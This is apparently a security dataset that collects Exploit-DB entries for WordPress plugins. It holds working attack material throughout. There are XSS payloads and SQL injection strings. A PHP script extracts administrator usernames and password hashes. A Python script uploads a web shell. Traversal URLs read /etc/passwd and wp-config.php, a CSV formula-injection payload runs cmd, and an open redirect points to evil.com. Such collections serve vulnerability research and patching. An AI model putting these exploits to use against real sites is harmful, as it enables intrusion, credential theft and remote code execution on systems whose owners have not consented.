deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51831
Description: WordPress Plugin Admin Bar & Dashboard Access Control Version: 1.2.8 - _Dashboard Redirect_ field Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2024-02-28
Author: Rachit Arora

Exploit:
# Exploit Title:  WordPress Plugin Admin Bar & Dashboard Access Control Version: 1.2.8 - "Dashboard Redirect" field  Stored Cross-Site Scripting (XSS)
# Google Dork: NA
# Date: 28/10/2023
# Exploit Author: Rachit Arora
# Vendor Homepage: 
# Software Link:  https://wordpress.org/plugins/admin-bar-dashboard-control/
# Version: 1.2.8
# Category: Web Application
# Tested on: Windows
# CVE : 2023-47184


1. Install WordPress (latest)

2. Install and activate Admin Bar & Dashboard Access Control.

3. Navigate to "Admin Bar & Dash"  >> Under Dashboard Access and in the "Dashboard Redirect" enter the payload into the input field.

"onfocusin=alert``+autofocus>
"onfocusin=alert`document.domain`+autofocus>

4. You will observe that the payload successfully got stored  and when you are triggering the same functionality in that time JavaScript payload is executing successfully and we are getting a pop-up.
Exploit-DB #38966
Description: WordPress Plugin Admin Management Xtended 2.4.0 - Privilege escalation
Type: webapps
Platform: php
Date: 2015-12-14
Author: Kacper Szurek

Exploit:
# Exploit Title: Admin Management Xtended 2.4.0 Privilege escalation
# Date: 14-12-2015
# Software Link: https://wordpress.org/plugins/admin-management-xtended/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
 
1. Description
   
Inside almost all wp_ajax function there is no privilege check.

File: admin-management-xtended\general-functions.php

add_action( 'wp_ajax_ame_toggle_visibility', 'ame_toggle_visibility' );
add_action( 'wp_ajax_ame_set_date', 'ame_set_date' );
add_action( 'wp_ajax_ame_save_title', 'ame_save_title' );
add_action( 'wp_ajax_ame_save_slug', 'ame_save_slug' );
add_action( 'wp_ajax_ame_slug_edit', 'ame_slug_edit' );
add_action( 'wp_ajax_ame_save_order', 'ame_save_order' );
add_action( 'wp_ajax_ame_toggle_orderoptions', 'ame_toggle_orderoptions' );
add_action( 'wp_ajax_ame_toggle_showinvisposts', 'ame_toggle_showinvisposts' );
add_action( 'wp_ajax_ame_get_pageorder', 'ame_get_pageorder' );
add_action( 'wp_ajax_ame_ajax_save_categories', 'ame_ajax_save_categories' );
add_action( 'wp_ajax_ame_ajax_get_categories', 'ame_ajax_get_categories' );
add_action( 'wp_ajax_ame_ajax_set_commentstatus', 'ame_ajax_set_commentstatus' );
add_action( 'wp_ajax_ame_ajax_save_tags', 'ame_ajax_save_tags' );
add_action( 'wp_ajax_ame_ajax_toggle_imageset', 'ame_ajax_toggle_imageset' );
add_action( 'wp_ajax_ame_ajax_save_mediadesc', 'ame_ajax_save_mediadesc' );
add_action( 'wp_ajax_ame_author_edit', 'ame_author_edit' );
add_action( 'wp_ajax_ame_save_author', 'ame_save_author' );
add_action( 'wp_ajax_ame_toggle_excludestatus', 'ame_toggle_excludestatus' );
add_action( 'wp_ajax_ame_toggle_sticky', 'ame_toggle_sticky' );

http://security.szurek.pl/admin-management-xtended-240-privilege-escalation.html

2. Proof of Concept

Login as regular user (created using wp-login.php?action=register). Then you can change any post title:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=ame_save_title">
Post id: <input type="text" name="category_id" value="1">
Post title: <input type="text" name="new_title" value="<script>alert(document.cookie);</script>">
<input type="submit" name="submit" value="Change">
</form>

XSS will be visible on post page:

http://wordpress-url/?p=1

Or change media excerpt:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=ame_ajax_save_mediadesc">
Post id: <input type="text" name="postid" value="1">
Excerpt: <input type="text" name="new_mediadesc" value="<script>alert(document.cookie);</script>">
<input type="submit" name="submit" value="Change">
</form>

XSS will be visible for admin:

http://wordpress-url/wp-admin/upload.php

3. Solution:
   
Update to version 2.4.0.1
Exploit-DB #50845
Description: WordPress Plugin admin-word-count-column 2.2 - Local File Read
Type: webapps
Platform: php
Date: 2022-03-30
Author: Hassan Khan Yusufzai

Exploit:
# Exploit Title: WordPress Plugin admin-word-count-column 2.2 - Local File Read
# Google Dork: inurl:/wp-content/plugins/admin-word-count-column/
# Date: 27-03-2022
# Exploit Author: Hassan Khan Yusufzai - Splint3r7
# Vendor Homepage: https://wordpress.org/plugins/admin-word-count-column/
# Version: 2.2
# Contact me: h [at] spidersilk.com

# PHP version: 5.3.2 or below

# Vulnerable File: plugins/admin-word-count-column/download-csv.php

# Vulnerable Code:

```
<?php
date_default_timezone_set('America/Los_Angeles');
$csvdate = date('Md-H-i-s-T');
$csvname = 'wordcounts-' . $csvdate . '.csv';
header('Content-Type: application/csv');
header('Content-Disposition: attachment; filename=' . $csvname);
header('Pragma: no-cache');
readfile($_GET['path'] . 'cpwc.csv');
?>
```

# Proof of Concept:

localhost/wp-content/plugins/admin-word-count-column/download-csv.php?path=../../../../../../../../../../../../etc/passwd\0

Note: Null byte injection will only working in php 5.3.2 and below 5.3.2.
Exploit-DB #36325
Description: WordPress Plugin Adminimize 1.7.21 - 'page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-11-21
Author: Am!r

Exploit:
source: https://www.securityfocus.com/bid/50745/info

Adminimize plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Adminimize 1.7.21 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/wp-content/plugins/adminimize/adminimize_page.php?page=[xss]
Exploit-DB #49332
Description: WordPress Plugin Adning Advertising 1.5.5 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2020-12-24
Author: spacehen

Exploit:
# Exploit Title: WordPress Plugin Adning Advertising 1.5.5 - Arbitrary File Upload
# Google Dork: inurl:/wp-content/plugins/angwp
# Date: 23/12/2020
# Exploit Author: spacehen
# Vendor Homepage: http://adning.com/
# Version: <1.5.6
# Tested on: Ubuntu 20.04.1 LTS (x86)

import os.path
from os import path
import json
import requests;
import sys

def print_banner():
	print("Adning Advertising < 1.5.6 - Arbitrary File Upload")
	print("Author -> space_hen (www.lunar.sh)")

def print_usage():
	print("Usage: python3 exploit.py [target url] [php file]")
	print("Ex: python3 exploit.py https://example.com ./shell.php")

def vuln_check(uri):
	response = requests.get(uri)
	raw = response.text

	if ("no files found" in raw):
		return True;
	else:
		return False;

def main():

	print_banner()
	if(len(sys.argv) != 3):
		print_usage();
		sys.exit(1);

	base = sys.argv[1]
	file_path = sys.argv[2]

	ajax_action = '_ning_upload_image'
	admin = '/wp-admin/admin-ajax.php';

	uri = base + admin + '?action=' + ajax_action ;
	check = vuln_check(uri);

	if(check == False):
		print("(*) Target not vulnerable!");
		sys.exit(1)

	if( path.isfile(file_path) == False):
		print("(*) Invalid file!")
		sys.exit(1)

	files = {'files[]' : open(file_path)}
	data = {
	"allowed_file_types" : "php,jpg,jpeg",
	"upload" : json.dumps({"dir" : "../"})
	}
	print("Uploading Shell...");
	response = requests.post(uri, files=files, data=data )
	file_name = path.basename(file_path)
	if(file_name in response.text):
		print("Shell Uploaded!")
		if(base[-1] != '/'):
			base += '/'
		print(base + file_name)
	else:
		print("Shell Upload Failed")
		sys.exit(1)

main();
Exploit-DB #17888
Description: WordPress Plugin AdRotate 3.6.5 - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-24
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress AdRotate plugin <= 3.6.5 SQL Injection Vulnerability
# Date: 2011-09-22
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/adrotate.3.6.5.zip
# Version: 3.6.5 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23

---------------
Vulnerable code
---------------
if(isset($_GET['track']) OR $_GET['track'] != '') {
    $meta = urldecode($_GET['track']);
    ...
    list($ad, $group, $block) = explode("-", $meta);
    ...
    $bannerurl = $wpdb->get_var("SELECT `link` FROM `".$prefix."adrotate` WHERE `id` = '".$ad."' LIMIT 1;");
Exploit-DB #18114
Description: WordPress Plugin AdRotate 3.6.6 - SQL Injection
Type: webapps
Platform: php
Date: 2011-11-14
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress AdRotate plugin <= 3.6.6 SQL Injection Vulnerability
# Date: 2011-11-8
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/adrotate.3.6.6.zip
# Version: 3.6.6 (tested)
# Note: parameter $_GET["track"] has to be Base64 encoded

---
PoC
---
http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=MScgQU5EIDE9SUYoMj4xLEJFTkNITUFSSyg1MDAwMDAwLE1ENShDSEFSKDExNSwxMTMsMTA4LDEwOSw5NywxMTIpKSksMCkj

e.g.
#!/bin/bash
payload="1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#"
encoded=`echo -n "1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#" | base64 -w 0`
curl http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=$encoded

---------------
Vulnerable code
---------------

if(isset($_GET['track']) OR $_GET['track'] != '') {
    $meta = base64_decode($_GET['track']);
    ...
    list($ad, $group, $block) = explode("-", $meta);
    ...
    $bannerurl = $wpdb->get_var($wpdb->prepare("SELECT `link` FROM `".$prefix."adrotate` WHERE `id` = '".$ad."' LIMIT 1;")); //wrong (mis)usage of wpdb->prepare()
Exploit-DB #38060
Description: WordPress Plugin Ads Box - 'count' SQL Injection
Type: webapps
Platform: php
Date: 2012-11-26
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/56681/info

The Ads Box plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wp-content/plugins/ads-box/iframe_ampl.php?count=[SQLi]
Exploit-DB #42380
Description: WordPress Plugin Ads Pro < 3.4 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2017-07-25
Author: 8bitsec

Exploit:
# Exploit Title: Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager <= v3.4 - Stored XSS / SQLi
# Date: 2017-07-25
# Exploit Author: 8bitsec
# Vendor Homepage: http://adspro.scripteo.info/
# Software Link: https://codecanyon.net/item/ads-pro-plugin-multipurpose-wordpress-advertising-manager/10275010
# Version: 3.4
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-07-25

Product & Service Introduction:
===============================
Ads Pro is a Premium WordPress Ad Plugin that helps you manage, sell and display your advertising space, in a way that no other plugin can.

Technical Details & Description:
================================

Multiple Stored XSS vulnerabilities found.

Blind SQL Injection on bsa_pro_id parameter.

Proof of Concept (PoC):
=======================

Stored XSS:

On the Front End Order Form the Ad Title and Ad Description parameters are vulnerable. The payload will execute when the ad is displayed.

Blind SQL Injection:

Parameter: bsa_pro_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: bsa_pro_stats=1&bsa_pro_email=some@email.com&bsa_pro_id=xx AND 1707=1707

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: bsa_pro_stats=1&bsa_pro_email=some@email.com&bsa_pro_id=xx AND SLEEP(5)

Credits & Authors:
==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #5013
Description: WordPress Plugin Adserve 0.2 - 'adclick.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-30
Author: enter_the_dragon

Exploit:
<?
# WordPress Adserve plugin v 0.2 Sql Injection Exploit 
#
# Plugin Homepage-http://www.irisco.it/?page_id=40
# 	
# Found by:enter_the_dragon
# 

# Vuln code
#
# -In adclick.php
#
# if (isset($_GET['id'])) {
#    Header("Location: ".iri_AdServe_BannerClick($_GET['id'])
#	
# -In  iri_AdServe_BannerClick function
#   
# 	return $wpdb->get_var("SELECT url FROM $table_name WHERE id=$id;");  
#
#
# 

# Exploit
# 
# id variable isnt filtered so we can inject and check the output in the Location response-header 
# If exploit is succesfull Wordpress administrators login and md5 hashed password is retrieved
#
# 




echo "\n";
echo "-------WordPress Adserve plugin v 0.2 Sql Injection Exploit-------"."\n";
echo "-------------------coded by : enter_the_dragon--------------------"."\n";
echo "------------------------------------------------------------------"."\n";
if ($argc!=3)
{
echo " Usage:	$argv[0] target_host wp_path \n";
echo " target_host:	Your target ex www.target.com \n";
echo " wp_path:	WordPress path ex /blog/ or / if wordpress is installed in the web servers root folder";	     
echo "\n";
exit;
}


$query=$argv[1];
$query.=$argv[2];
$query.="wp-content/plugins/wp-adserve/adclick.php?";
$query.="id=-1%20union%20select%20concat(0x7c,user_login,0x7c,user_pass,0x7c)%20from%20wp_users";

  
if(function_exists(curl_init))
{
  $ch = curl_init("http://$query");
  curl_setopt($ch, CURLOPT_HEADER,true);
  curl_setopt( $ch, CURLOPT_RETURNTRANSFER,true);
  curl_setopt($ch, CURLOPT_TIMEOUT,10);
  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1)");  
  $html=curl_exec($ch);
  $returncode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
  curl_close($ch);

  if($returncode==302)
     {  
	$pattern="/\|(.*)?\|([a-z0-9]{32})\|/";
        if(preg_match($pattern,$html,$matches))
          {
           $adminusername=$matches[1];
           $adminpass=$matches[2];
	   echo "Admin Login:$adminusername\n" ;
     	   echo "Admin Pass :$adminpass\n";	    
	  }
     }		    
	else 
     {
	exit ("Exploit Failed :( \n");
     }	


}
else
exit("Error:Libcurl isnt installed \n");

?>

# milw0rm.com [2008-01-30]
Exploit-DB #38936
Description: WordPress Plugin Advanced Dewplayer - 'download-file.php' Script Directory Traversal
Type: webapps
Platform: php
Date: 2013-12-30
Author: Henri Salo

Exploit:
source: https://www.securityfocus.com/bid/64587/info

The Advanced Dewplayer plugin for WordPress is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue can allow an attacker to obtain sensitive information that could aid in further attacks.

Advanced Dewplayer 1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/advanced-dewplayer/admin-panel/download-file.php?dew_file=../../../../wp-config.php
Exploit-DB #50324
Description: WordPress Plugin Advanced Order Export For WooCommerce 3.1.7 - Reflected Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-09-23
Author: 0xB9

Exploit:
# Exploit Title: WordPress Plugin Advanced Order Export For WooCommerce 3.1.7 - Reflected Cross-Site Scripting (XSS)
# Date: 15/2/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/woo-order-export-lite/
# Version: 3.1.7
# Tested on: Windows 10
# CVE: CVE-2021-24169

1. Description:
This plugin helps you to easily export WooCommerce order data. The tab parameter in the Admin Panel is vulnerable to XSS.

2. Proof of Concept:
wp-admin/admin.php?page=wc-order-export&tab=</script><script>alert(1)</script>
Exploit-DB #44931
Description: WordPress Plugin Advanced Order Export For WooCommerce < 1.5.4 - CSV Injection
Type: webapps
Platform: php
Date: 2018-06-25
Author: Bhushan B. Patil

Exploit:
# Exploit Title: Wordpress Plugin Advanced Order Export For WooCommerce < 1.5.4 - CSV Injection
# Google Dork: N/A
# Date: 2018-06-24
# Exploit Author: Bhushan B. Patil
# Software Link: https://wordpress.org/plugins/woo-order-export-lite/
# Affected Version: 1.5.4 and before
# Category: Plugins and Extensions
# Tested on: WiN7_x64
# CVE: CVE-2018-11525

# 1. Application Description:
# The plugin helps you to easily export WooCommerce order data. Export any custom field assigned 
# to orders/products/coupons is easy and you can select from various formats to export the data 
# in such as CSV, XLS, XML and JSON.

# 2. Technical Description:
# Advanced Order Export For WooCommerce plugin version 1.5.4 and before are affected by the vulnerability
# Remote Command Execution using CSV Injection. This allows a public user to inject commands as a part of 
# form fields and when a user with higher privilege exports the form data in CSV opens the file on their machine,
# the command is executed.

# 3. Proof Of Concept:
 
Enter the payload @SUM(1+1)*cmd|' /C calc'!A0 in the form fields and submit.

# When high privileged user logs into the application to export form data in CSV and opens the file.
# Formula gets executed and calculator will get popped in his machine.
Exploit-DB #36324
Description: WordPress Plugin Advanced Text Widget 2.0 - 'page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-11-21
Author: Amir

Exploit:
source: https://www.securityfocus.com/bid/50744/info

Advanced Text Widget plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Advanced Text Widget 2.0.0 is vulnerable; other versions may also be affected.

UPDATE Apr 18, 2012: Further reports indicate the issue reported may not be valid. This BID will be updated as more information emerges. 

http://www.example.com/[path]/wp-content/plugins/advanced-text-widget/advancedtext.php?page=[xss]
Exploit-DB #50895
Description: WordPress Plugin Advanced Uploader 4.2 - Arbitrary File Upload (Authenticated)
Type: webapps
Platform: php
Date: 2022-05-11
Author: Roel van Beurden

Exploit:
# Exploit Title: WordPress Plugin Advanced Uploader 4.2 - Arbitrary File Upload (Authenticated)
# Google Dork: -
# Date: 2022-03-13
# Exploit Author: Roel van Beurden
# Vendor Homepage: -
# Software Link: https://downloads.wordpress.org/plugin/advanced-uploader.4.2.zip
# Version: <=4.2
# Tested on: WordPress 5.9 on Ubuntu 18.04
# CVE: CVE-2022-1103


1. Description:
----------------------
WordPress Plugin Advanced Uploader <=4.2 allows authenticated arbitrary file upload. Any file(type) can be uploaded. A malicious user can perform remote code execution on the backend webserver.


2. Proof of Concept:
----------------------
- Upload file/webshell/backdoor with the Advanced Uploader plugin;
- File is uploaded in the Wordpress Media Library;
- Go to /wp-content/uploads/ where the file is saved;
- Click on the uploaded file for whatever it's supposed to do (RCE, reverse shell).


3. Exploitation demo:
----------------------
https://www.youtube.com/watch?v=Bwpf-IpxtXQ
Exploit-DB #39646
Description: WordPress Plugin Advanced Video 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2016-04-01
Author: evait security GmbH

Exploit:
#!/usr/bin/env python

# Exploit Title: Advanced-Video-Embed Arbitrary File Download / Unauthenticated Post Creation
# Google Dork: N/A
# Date: 04/01/2016
# Exploit Author: evait security GmbH
# Vendor Homepage: arshmultani - http://dscom.it/
# Software Link: https://wordpress.org/plugins/advanced-video-embed-embed-videos-or-playlists/
# Version: 1.0
# Tested on: Linux Apache / Wordpress 4.2.2

#	Timeline
#	03/24/2016 - Bug discovered
#	03/24/2016 - Initial notification of vendor
#	04/01/2016 - No answer from vendor, public release of bug 


# Vulnerable Code (/inc/classes/class.avePost.php) Line 57:

#  function ave_publishPost(){
#    $title = $_REQUEST['title'];
#    $term = $_REQUEST['term'];
#    $thumb = $_REQUEST['thumb'];
# <snip>
# Line 78:
#    $image_data = file_get_contents($thumb);


# POC - http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=[FILEPATH]

# Exploit - Print the content of wp-config.php in terminal (default Wordpress config)

import random
import urllib2
import re

url = "http://127.0.0.1/wordpress" # insert url to wordpress

randomID = long(random.random() *[PII_REDACTED]00000000L)

objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php')
content =  objHtml.readlines()
for line in content:
	numbers = re.findall(r'\d+',line)
	id = numbers[-1]
	id = int(id) / 10

objHtml = urllib2.urlopen(url + '/?p=' + str(id))
content = objHtml.readlines()

for line in content:
	if 'attachment-post-thumbnail size-post-thumbnail wp-post-image' in line:
		urls=re.findall('"(https?://.*?)"', line)
		print urllib2.urlopen(urls[0]).read()
Exploit-DB #17750
Description: WordPress Plugin Advertizer 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-30
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress Advertizer plugin <= 1.0 SQL Injection Vulnerability
# Date: 2011-08-29
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/advertizer.1.0.zip
# Version: 1.0 (tested)
# Note: magic_quotes has to be turned off

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/advertizer/click_ads.php
 id=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
$res = $wpdb->get_row("SELECT `limit_clicks`, `trace_clicks` FROM `".$wpdb->prefix."adv_v_base` WHERE `id` = '".$_POST[id]."' limit 1;");
Exploit-DB #36540
Description: WordPress Plugin Age Verification 0.4 - 'redirect_to' Open Redirection
Type: webapps
Platform: php
Date: 2012-01-10
Author: Gianluca Brindisi

Exploit:
source: https://www.securityfocus.com/bid/51357/info

WordPress Age Verification plugin is prone to a URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks; other attacks are possible.

WordPress Age Verification plugin 0.4 and prior versions are vulnerable. 

http://www.example.com/wp-content/plugins/age-verification/age-verification.php?redirect_to=http%3A%2F%2Fwww.evil.com